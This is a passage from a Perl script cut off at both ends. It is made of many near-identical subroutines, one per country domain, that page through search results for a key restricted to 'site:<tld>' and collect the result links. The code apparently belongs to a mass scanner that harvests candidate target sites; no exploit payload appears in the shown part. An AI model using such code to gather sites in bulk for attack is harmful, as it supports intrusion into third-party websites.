  6314. }
  6315.  
  6316. sub ly() {
  6317.     my @list;
  6318.     my $key = $_[0];
  6319.     for (my $i=0; $i<=1000; $i+=100){
  6320.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aly%26num%3D100%26start%3D".$i);
  6321.         my $res = &search_engine_query($search);
  6322.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6323.             my $link = $1;
  6324.             if ($link !~ /google/){
  6325.                 my @grep = &links($link);
  6326.                 push(@list,@grep);
  6327.             }
  6328.         }
  6329.     }
  6330.     return @list;
  6331. }
  6332.  
  6333. sub li() {
  6334.     my @list;
  6335.     my $key = $_[0];
  6336.     for (my $i=0; $i<=1000; $i+=100){
  6337.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ali%26num%3D100%26start%3D".$i);
  6338.         my $res = &search_engine_query($search);
  6339.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6340.             my $link = $1;
  6341.             if ($link !~ /google/){
  6342.                 my @grep = &links($link);
  6343.                 push(@list,@grep);
  6344.             }
  6345.         }
  6346.     }
  6347.     return @list;
  6348. }
  6349.  
  6350. sub lt() {
  6351.     my @list;
  6352.     my $key = $_[0];
  6353.     for (my $i=0; $i<=1000; $i+=100){
  6354.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i);
  6355.         my $res = &search_engine_query($search);
  6356.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6357.             my $link = $1;
  6358.             if ($link !~ /google/){
  6359.                 my @grep = &links($link);
  6360.                 push(@list,@grep);
  6361.             }
  6362.         }
  6363.     }
  6364.     return @list;
  6365. }
  6366.  
  6367. sub lu() {
  6368.     my @list;
  6369.     my $key = $_[0];
  6370.     for (my $i=0; $i<=1000; $i+=100){
  6371.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i);
  6372.         my $res = &search_engine_query($search);
  6373.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6374.             my $link = $1;
  6375.             if ($link !~ /google/){
  6376.                 my @grep = &links($link);
  6377.                 push(@list,@grep);
  6378.             }
  6379.         }
  6380.     }
  6381.     return @list;
  6382. }
  6383.  
  6384. sub mw() {
  6385.     my @list;
  6386.     my $key = $_[0];
  6387.     for (my $i=0; $i<=1000; $i+=100){
  6388.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Amw%26num%3D100%26start%3D".$i);
  6389.         my $res = &search_engine_query($search);
  6390.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6391.             my $link = $1;
  6392.             if ($link !~ /google/){
  6393.                 my @grep = &links($link);
  6394.                 push(@list,@grep);
  6395.             }
  6396.         }
  6397.     }
  6398.     return @list;
  6399. }
  6400.  
  6401. sub mt() {
  6402.     my @list;
  6403.     my $key = $_[0];
  6404.     for (my $i=0; $i<=1000; $i+=100){
  6405.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Amt%26num%3D100%26start%3D".$i);
  6406.         my $res = &search_engine_query($search);
  6407.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6408.             my $link = $1;
  6409.             if ($link !~ /google/){
  6410.                 my @grep = &links($link);
  6411.                 push(@list,@grep);
  6412.             }
  6413.         }
  6414.     }
  6415.     return @list;
  6416. }
  6417.  
  6418. sub mu() {
  6419.     my @list;
  6420.     my $key = $_[0];
  6421.     for (my $i=0; $i<=1000; $i+=100){
  6422.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Amu%26num%3D100%26start%3D".$i);
  6423.         my $res = &search_engine_query($search);
  6424.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6425.             my $link = $1;
  6426.             if ($link !~ /google/){
  6427.                 my @grep = &links($link);
  6428.                 push(@list,@grep);
  6429.             }
  6430.         }
  6431.     }
  6432.     return @list;
  6433. }
  6434.  
  6435. sub fm() {
  6436.     my @list;
  6437.     my $key = $_[0];
  6438.     for (my $i=0; $i<=1000; $i+=100){
  6439.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i);
  6440.         my $res = &search_engine_query($search);
  6441.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6442.             my $link = $1;
  6443.             if ($link !~ /google/){
  6444.                 my @grep = &links($link);
  6445.                 push(@list,@grep);
  6446.             }
  6447.         }
  6448.     }
  6449.     return @list;
  6450. }
  6451.  
  6452. sub mn() {
  6453.     my @list;
  6454.     my $key = $_[0];
  6455.     for (my $i=0; $i<=1000; $i+=100){
  6456.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i);
  6457.         my $res = &search_engine_query($search);
  6458.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6459.             my $link = $1;
  6460.             if ($link !~ /google/){
  6461.                 my @grep = &links($link);
  6462.                 push(@list,@grep);
  6463.             }
  6464.         }
  6465.     }
  6466.     return @list;
  6467. }
  6468.  
  6469. sub ms() {
  6470.     my @list;
  6471.     my $key = $_[0];
  6472.     for (my $i=0; $i<=1000; $i+=100){
  6473.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Ams%26num%3D100%26start%3D".$i);
  6474.         my $res = &search_engine_query($search);
  6475.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6476.             my $link = $1;
  6477.             if ($link !~ /google/){
  6478.                 my @grep = &links($link);
  6479.                 push(@list,@grep);
  6480.             }
  6481.         }
  6482.     }
  6483.     return @list;
  6484. }
  6485.  
  6486. sub ma() {
  6487.     my @list;
  6488.     my $key = $_[0];
  6489.     for (my $i=0; $i<=1000; $i+=100){
  6490.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i);
  6491.         my $res = &search_engine_query($search);
  6492.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6493.             my $link = $1;
  6494.             if ($link !~ /google/){
  6495.                 my @grep = &links($link);
  6496.                 push(@list,@grep);
  6497.             }
  6498.         }
  6499.     }
  6500.     return @list;
  6501. }
  6502.  
  6503. sub na() {
  6504.     my @list;
  6505.     my $key = $_[0];
  6506.     for (my $i=0; $i<=1000; $i+=100){
  6507.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ana%26num%3D100%26start%3D".$i);
  6508.         my $res = &search_engine_query($search);
  6509.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6510.             my $link = $1;
  6511.             if ($link !~ /google/){
  6512.                 my @grep = &links($link);
  6513.                 push(@list,@grep);
  6514.             }
  6515.         }
  6516.     }
  6517.     return @list;
  6518. }
  6519.  
  6520. sub np() {
  6521.     my @list;
  6522.     my $key = $_[0];
  6523.     for (my $i=0; $i<=1000; $i+=100){
  6524.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Anp%26num%3D100%26start%3D".$i);
  6525.         my $res = &search_engine_query($search);
  6526.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6527.             my $link = $1;
  6528.             if ($link !~ /google/){
  6529.                 my @grep = &links($link);
  6530.                 push(@list,@grep);
  6531.             }
  6532.         }
  6533.     }
  6534.     return @list;
  6535. }
  6536.  
  6537. sub nz() {
  6538.     my @list;
  6539.     my $key = $_[0];
  6540.     for (my $i=0; $i<=1000; $i+=100){
  6541.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i);
  6542.         my $res = &search_engine_query($search);
  6543.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6544.             my $link = $1;
  6545.             if ($link !~ /google/){
  6546.                 my @grep = &links($link);
  6547.                 push(@list,@grep);
  6548.             }
  6549.         }
  6550.     }
  6551.     return @list;
  6552. }
  6553.  
  6554. sub ni() {
  6555.     my @list;
  6556.     my $key = $_[0];
  6557.     for (my $i=0; $i<=1000; $i+=100){
  6558.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Ani%26num%3D100%26start%3D".$i);
  6559.         my $res = &search_engine_query($search);
  6560.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6561.             my $link = $1;
  6562.             if ($link !~ /google/){
  6563.                 my @grep = &links($link);
  6564.                 push(@list,@grep);
  6565.             }
  6566.         }
  6567.     }
  6568.     return @list;
  6569. }
  6570.  
  6571. sub nf() {
  6572.     my @list;
  6573.     my $key = $_[0];
  6574.     for (my $i=0; $i<=1000; $i+=100){
  6575.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Anf%26num%3D100%26start%3D".$i);
  6576.         my $res = &search_engine_query($search);
  6577.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6578.             my $link = $1;
  6579.             if ($link !~ /google/){
  6580.                 my @grep = &links($link);
  6581.                 push(@list,@grep);
  6582.             }
  6583.         }
  6584.     }
  6585.     return @list;
  6586. }
  6587.  
  6588. sub no() {
  6589.     my @list;
  6590.     my $key = $_[0];
  6591.     for (my $i=0; $i<=1000; $i+=100){
  6592.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i);
  6593.         my $res = &search_engine_query($search);
  6594.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6595.             my $link = $1;
  6596.             if ($link !~ /google/){
  6597.                 my @grep = &links($link);
  6598.                 push(@list,@grep);
  6599.             }
  6600.         }
  6601.     }
  6602.     return @list;
  6603. }
  6604.  
  6605. sub om() {
  6606.     my @list;
  6607.     my $key = $_[0];
  6608.     for (my $i=0; $i<=1000; $i+=100){
  6609.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aom%26num%3D100%26start%3D".$i);
  6610.         my $res = &search_engine_query($search);
  6611.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6612.             my $link = $1;
  6613.             if ($link !~ /google/){
  6614.                 my @grep = &links($link);
  6615.                 push(@list,@grep);
  6616.             }
  6617.         }
  6618.     }
  6619.     return @list;
  6620. }
  6621.  
  6622. sub pk() {
  6623.     my @list;
  6624.     my $key = $_[0];
  6625.     for (my $i=0; $i<=1000; $i+=100){
  6626.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i);
  6627.         my $res = &search_engine_query($search);
  6628.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6629.             my $link = $1;
  6630.             if ($link !~ /google/){
  6631.                 my @grep = &links($link);
  6632.                 push(@list,@grep);
  6633.             }
  6634.         }
  6635.     }
  6636.     return @list;
  6637. }
  6638.  
  6639. sub pa() {
  6640.     my @list;
  6641.     my $key = $_[0];
  6642.     for (my $i=0; $i<=1000; $i+=100){
  6643.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i);
  6644.         my $res = &search_engine_query($search);
  6645.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6646.             my $link = $1;
  6647.             if ($link !~ /google/){
  6648.                 my @grep = &links($link);
  6649.                 push(@list,@grep);
  6650.             }
  6651.         }
  6652.     }
  6653.     return @list;
  6654. }
  6655.  
  6656. sub py() {
  6657.     my @list;
  6658.     my $key = $_[0];
  6659.     for (my $i=0; $i<=1000; $i+=100){
  6660.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Apy%26num%3D100%26start%3D".$i);
  6661.         my $res = &search_engine_query($search);
  6662.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6663.             my $link = $1;
  6664.             if ($link !~ /google/){
  6665.                 my @grep = &links($link);
  6666.                 push(@list,@grep);
  6667.             }
  6668.         }
  6669.     }
  6670.     return @list;
  6671. }
  6672.  
  6673. sub pe() {
  6674.     my @list;
  6675.     my $key = $_[0];
  6676.     for (my $i=0; $i<=1000; $i+=100){
  6677.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i);
  6678.         my $res = &search_engine_query($search);
  6679.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6680.             my $link = $1;
  6681.             if ($link !~ /google/){
  6682.                 my @grep = &links($link);
  6683.                 push(@list,@grep);
  6684.             }
  6685.         }
  6686.     }
  6687.     return @list;
  6688. }
  6689.  
  6690. sub pn() {
  6691.     my @list;
  6692.     my $key = $_[0];
  6693.     for (my $i=0; $i<=1000; $i+=100){
  6694.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Apn%26num%3D100%26start%3D".$i);
  6695.         my $res = &search_engine_query($search);
  6696.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6697.             my $link = $1;
  6698.             if ($link !~ /google/){
  6699.                 my @grep = &links($link);
  6700.                 push(@list,@grep);
  6701.             }
  6702.         }
  6703.     }
  6704.     return @list;
  6705. }
  6706.  
  6707. sub pt() {
  6708.     my @list;
  6709.     my $key = $_[0];
  6710.     for (my $i=0; $i<=1000; $i+=100){
  6711.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i);
  6712.         my $res = &search_engine_query($search);
  6713.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6714.             my $link = $1;
  6715.             if ($link !~ /google/){
  6716.                 my @grep = &links($link);
  6717.                 push(@list,@grep);
  6718.             }
  6719.         }
  6720.     }
  6721.     return @list;
  6722. }
  6723.  
  6724. sub pr() {
  6725.     my @list;
  6726.     my $key = $_[0];
  6727.     for (my $i=0; $i<=1000; $i+=100){
  6728.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Apr%26num%3D100%26start%3D".$i);
  6729.         my $res = &search_engine_query($search);
  6730.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6731.             my $link = $1;
  6732.             if ($link !~ /google/){
  6733.                 my @grep = &links($link);
  6734.                 push(@list,@grep);
  6735.             }
  6736.         }
  6737.     }
  6738.     return @list;
  6739. }
  6740.  
  6741. sub qa() {
  6742.     my @list;
  6743.     my $key = $_[0];
  6744.     for (my $i=0; $i<=1000; $i+=100){
  6745.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i);
  6746.         my $res = &search_engine_query($search);
  6747.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6748.             my $link = $1;
  6749.             if ($link !~ /google/){
  6750.                 my @grep = &links($link);
  6751.                 push(@list,@grep);
  6752.             }
  6753.         }
  6754.     }
  6755.     return @list;
  6756. }
  6757.  
  6758. sub rw() {
  6759.     my @list;
  6760.     my $key = $_[0];
  6761.     for (my $i=0; $i<=1000; $i+=100){
  6762.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Arw%26num%3D100%26start%3D".$i);
  6763.         my $res = &search_engine_query($search);
  6764.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6765.             my $link = $1;
  6766.             if ($link !~ /google/){
  6767.                 my @grep = &links($link);
  6768.                 push(@list,@grep);
  6769.             }
  6770.         }
  6771.     }
  6772.     return @list;
  6773. }
  6774.  
  6775. sub sh() {
  6776.     my @list;
  6777.     my $key = $_[0];
  6778.     for (my $i=0; $i<=1000; $i+=100){
  6779.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ash%26num%3D100%26start%3D".$i);
  6780.         my $res = &search_engine_query($search);
  6781.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6782.             my $link = $1;
  6783.             if ($link !~ /google/){
  6784.                 my @grep = &links($link);
  6785.                 push(@list,@grep);
  6786.             }
  6787.         }
  6788.     }
  6789.     return @list;
  6790. }
  6791.  
  6792. sub sm() {
  6793.     my @list;
  6794.     my $key = $_[0];
  6795.     for (my $i=0; $i<=1000; $i+=100){
  6796.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Asm%26num%3D100%26start%3D".$i);
  6797.         my $res = &search_engine_query($search);
  6798.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6799.             my $link = $1;
  6800.             if ($link !~ /google/){
  6801.                 my @grep = &links($link);
  6802.                 push(@list,@grep);
  6803.             }
  6804.         }
  6805.     }
  6806.     return @list;
  6807. }
  6808.  
  6809. sub sa() {
  6810.     my @list;
  6811.     my $key = $_[0];
  6812.     for (my $i=0; $i<=1000; $i+=100){
  6813.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i);
  6814.         my $res = &search_engine_query($search);
  6815.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6816.             my $link = $1;
  6817.             if ($link !~ /google/){
  6818.                 my @grep = &links($link);
  6819.                 push(@list,@grep);
  6820.             }
  6821.         }
  6822.     }
  6823.     return @list;
  6824. }
  6825.  
  6826. sub sn() {
  6827.     my @list;
  6828.     my $key = $_[0];
  6829.     for (my $i=0; $i<=1000; $i+=100){
  6830.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i);
  6831.         my $res = &search_engine_query($search);
  6832.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6833.             my $link = $1;
  6834.             if ($link !~ /google/){
  6835.                 my @grep = &links($link);
  6836.                 push(@list,@grep);
  6837.             }
  6838.         }
  6839.     }
  6840.     return @list;
  6841. }
  6842.  
  6843. sub sc() {
  6844.     my @list;
  6845.     my $key = $_[0];
  6846.     for (my $i=0; $i<=1000; $i+=100){
  6847.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Asc%26num%3D100%26start%3D".$i);
  6848.         my $res = &search_engine_query($search);
  6849.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6850.             my $link = $1;
  6851.             if ($link !~ /google/){
  6852.                 my @grep = &links($link);
  6853.                 push(@list,@grep);
  6854.             }
  6855.         }
  6856.     }
  6857.     return @list;
  6858. }
  6859.  
  6860. sub sg() {
  6861.     my @list;
  6862.     my $key = $_[0];
  6863.     for (my $i=0; $i<=1000; $i+=100){
  6864.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i);
  6865.         my $res = &search_engine_query($search);
  6866.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6867.             my $link = $1;
  6868.             if ($link !~ /google/){
  6869.                 my @grep = &links($link);
  6870.                 push(@list,@grep);
  6871.             }
  6872.         }
  6873.     }
  6874.     return @list;
  6875. }
  6876.  
  6877. sub sk() {
  6878.     my @list;
  6879.     my $key = $_[0];
  6880.     for (my $i=0; $i<=1000; $i+=100){
  6881.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i);
  6882.         my $res = &search_engine_query($search);
  6883.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6884.             my $link = $1;
  6885.             if ($link !~ /google/){
  6886.                 my @grep = &links($link);
  6887.                 push(@list,@grep);
  6888.             }
  6889.         }
  6890.     }
  6891.     return @list;
  6892. }
  6893.  
  6894. sub za() {
  6895.     my @list;
  6896.     my $key = $_[0];
  6897.     for (my $i=0; $i<=1000; $i+=100){
  6898.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i);
  6899.         my $res = &search_engine_query($search);
  6900.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6901.             my $link = $1;
  6902.             if ($link !~ /google/){
  6903.                 my @grep = &links($link);
  6904.                 push(@list,@grep);
  6905.             }
  6906.         }
  6907.     }
  6908.     return @list;
  6909. }
  6910.  
  6911. sub lk() {
  6912.     my @list;
  6913.     my $key = $_[0];
  6914.     for (my $i=0; $i<=1000; $i+=100){
  6915.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Alk%26num%3D100%26start%3D".$i);
  6916.         my $res = &search_engine_query($search);
  6917.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6918.             my $link = $1;
  6919.             if ($link !~ /google/){
  6920.                 my @grep = &links($link);
  6921.                 push(@list,@grep);
  6922.             }
  6923.         }
  6924.     }
  6925.     return @list;
  6926. }
  6927.  
  6928. sub vc() {
  6929.     my @list;
  6930.     my $key = $_[0];
  6931.     for (my $i=0; $i<=1000; $i+=100){
  6932.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Avc%26num%3D100%26start%3D".$i);
  6933.         my $res = &search_engine_query($search);
  6934.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6935.             my $link = $1;
  6936.             if ($link !~ /google/){
  6937.                 my @grep = &links($link);
  6938.                 push(@list,@grep);
  6939.             }
  6940.         }
  6941.     }
  6942.     return @list;
  6943. }
  6944.  
  6945. sub se() {
  6946.     my @list;
  6947.     my $key = $_[0];
  6948.     for (my $i=0; $i<=1000; $i+=100){
  6949.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i);
  6950.         my $res = &search_engine_query($search);
  6951.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6952.             my $link = $1;
  6953.             if ($link !~ /google/){
  6954.                 my @grep = &links($link);
  6955.                 push(@list,@grep);
  6956.             }
  6957.         }
  6958.     }
  6959.     return @list;
  6960. }
  6961.  
  6962. sub ch() {
  6963.     my @list;
  6964.     my $key = $_[0];
  6965.     for (my $i=0; $i<=1000; $i+=100){
  6966.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i);
  6967.         my $res = &search_engine_query($search);
  6968.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6969.             my $link = $1;
  6970.             if ($link !~ /google/){
  6971.                 my @grep = &links($link);
  6972.                 push(@list,@grep);
  6973.             }
  6974.         }
  6975.     }
  6976.     return @list;
  6977. }
  6978.  
  6979. sub tw() {
  6980.     my @list;
  6981.     my $key = $_[0];
  6982.     for (my $i=0; $i<=1000; $i+=100){
  6983.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i);
  6984.         my $res = &search_engine_query($search);
  6985.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6986.             my $link = $1;
  6987.             if ($link !~ /google/){
  6988.                 my @grep = &links($link);
  6989.                 push(@list,@grep);
  6990.             }
  6991.         }
  6992.     }
  6993.     return @list;
  6994. }
  6995.  
  6996. sub tj() {
  6997.     my @list;
  6998.     my $key = $_[0];
  6999.     for (my $i=0; $i<=1000; $i+=100){
  7000.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Atj%26num%3D100%26start%3D".$i);
  7001.         my $res = &search_engine_query($search);
  7002.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7003.             my $link = $1;
  7004.             if ($link !~ /google/){
  7005.                 my @grep = &links($link);
  7006.                 push(@list,@grep);
  7007.             }
  7008.         }
  7009.     }
  7010.     return @list;
  7011. }
  7012.  
  7013. sub bs() {
  7014.     my @list;
  7015.     my $key = $_[0];
  7016.     for (my $i=0; $i<=1000; $i+=100){
  7017.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Abs%26num%3D100%26start%3D".$i);
  7018.         my $res = &search_engine_query($search);
  7019.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7020.             my $link = $1;
  7021.             if ($link !~ /google/){
  7022.                 my @grep = &links($link);
  7023.                 push(@list,@grep);
  7024.             }
  7025.         }
  7026.     }
  7027.     return @list;
  7028. }
  7029.  
  7030. sub to() {
  7031.     my @list;
  7032.     my $key = $_[0];
  7033.     for (my $i=0; $i<=1000; $i+=100){
  7034.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i);
  7035.         my $res = &search_engine_query($search);
  7036.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7037.             my $link = $1;
  7038.             if ($link !~ /google/){
  7039.                 my @grep = &links($link);
  7040.                 push(@list,@grep);
  7041.             }
  7042.         }
  7043.     }
  7044.     return @list;
  7045. }
  7046.  
  7047. sub tt() {
  7048.     my @list;
  7049.     my $key = $_[0];
  7050.     for (my $i=0; $i<=1000; $i+=100){
  7051.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Att%26num%3D100%26start%3D".$i);
  7052.         my $res = &search_engine_query($search);
  7053.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7054.             my $link = $1;
  7055.             if ($link !~ /google/){
  7056.                 my @grep = &links($link);
  7057.                 push(@list,@grep);
  7058.             }
  7059.         }
  7060.     }
  7061.     return @list;
  7062. }
  7063.  
  7064. sub tr() {
  7065.     my @list;
  7066.     my $key = $_[0];
  7067.     for (my $i=0; $i<=1000; $i+=100){
  7068.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i);
  7069.         my $res = &search_engine_query($search);
  7070.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7071.             my $link = $1;
  7072.             if ($link !~ /google/){
  7073.                 my @grep = &links($link);
  7074.                 push(@list,@grep);
  7075.             }
  7076.         }
  7077.     }
  7078.     return @list;
  7079. }
  7080.  
  7081. sub tm() {
  7082.     my @list;
  7083.     my $key = $_[0];
  7084.     for (my $i=0; $i<=1000; $i+=100){
  7085.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Atm%26num%3D100%26start%3D".$i);
  7086.         my $res = &search_engine_query($search);
  7087.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7088.             my $link = $1;
  7089.             if ($link !~ /google/){
  7090.                 my @grep = &links($link);
  7091.                 push(@list,@grep);
  7092.             }
  7093.         }
  7094.     }
  7095.     return @list;
  7096. }
  7097.  
  7098. sub vi() {
  7099.     my @list;
  7100.     my $key = $_[0];
  7101.     for (my $i=0; $i<=1000; $i+=100){
  7102.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Avi%26num%3D100%26start%3D".$i);
  7103.         my $res = &search_engine_query($search);
  7104.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7105.             my $link = $1;
  7106.             if ($link !~ /google/){
  7107.                 my @grep = &links($link);
  7108.                 push(@list,@grep);
  7109.             }
  7110.         }
  7111.     }
  7112.     return @list;
  7113. }
  7114.  
  7115. sub ug() {
  7116.     my @list;
  7117.     my $key = $_[0];
  7118.     for (my $i=0; $i<=1000; $i+=100){
  7119.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aug%26num%3D100%26start%3D".$i);
  7120.         my $res = &search_engine_query($search);
  7121.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7122.             my $link = $1;
  7123.             if ($link !~ /google/){
  7124.                 my @grep = &links($link);
  7125.                 push(@list,@grep);
  7126.             }
  7127.         }
  7128.     }
  7129.     return @list;
  7130. }
  7131.  
  7132. sub uy() {
  7133.     my @list;
  7134.     my $key = $_[0];
  7135.     for (my $i=0; $i<=1000; $i+=100){
  7136.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i);
  7137.         my $res = &search_engine_query($search);
  7138.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7139.             my $link = $1;
  7140.             if ($link !~ /google/){
  7141.                 my @grep = &links($link);
  7142.                 push(@list,@grep);
  7143.             }
  7144.         }
  7145.     }
  7146.     return @list;
  7147. }
  7148.  
  7149. sub uz() {
  7150.     my @list;
  7151.     my $key = $_[0];
  7152.     for (my $i=0; $i<=1000; $i+=100){
  7153.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
  7154.         my $res = &search_engine_query($search);
  7155.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7156.             my $link = $1;
  7157.             if ($link !~ /google/){
  7158.                 my @grep = &links($link);
  7159.                 push(@list,@grep);
  7160.             }
  7161.         }
  7162.     }
  7163.     return @list;
  7164. }
  7165.  
  7166. sub ve() {
  7167.     my @list;
  7168.     my $key = $_[0];
  7169.     for (my $i=0; $i<=1000; $i+=100){
  7170.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i);
  7171.         my $res = &search_engine_query($search);
  7172.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7173.             my $link = $1;
  7174.             if ($link !~ /google/){
  7175.                 my @grep = &links($link);
  7176.                 push(@list,@grep);
  7177.             }
  7178.         }
  7179.     }
  7180.     return @list;
  7181. }
  7182.  
  7183. sub vm() {
  7184.     my @list;
  7185.     my $key = $_[0];
  7186.     for (my $i=0; $i<=1000; $i+=100){
  7187.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Avm%26num%3D100%26start%3D".$i);
  7188.         my $res = &search_engine_query($search);
  7189.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7190.             my $link = $1;
  7191.             if ($link !~ /google/){
  7192.                 my @grep = &links($link);
  7193.                 push(@list,@grep);
  7194.             }
  7195.         }
  7196.     }
  7197.     return @list;
  7198. }
  7199.  
  7200. sub zm() {
  7201.     my @list;
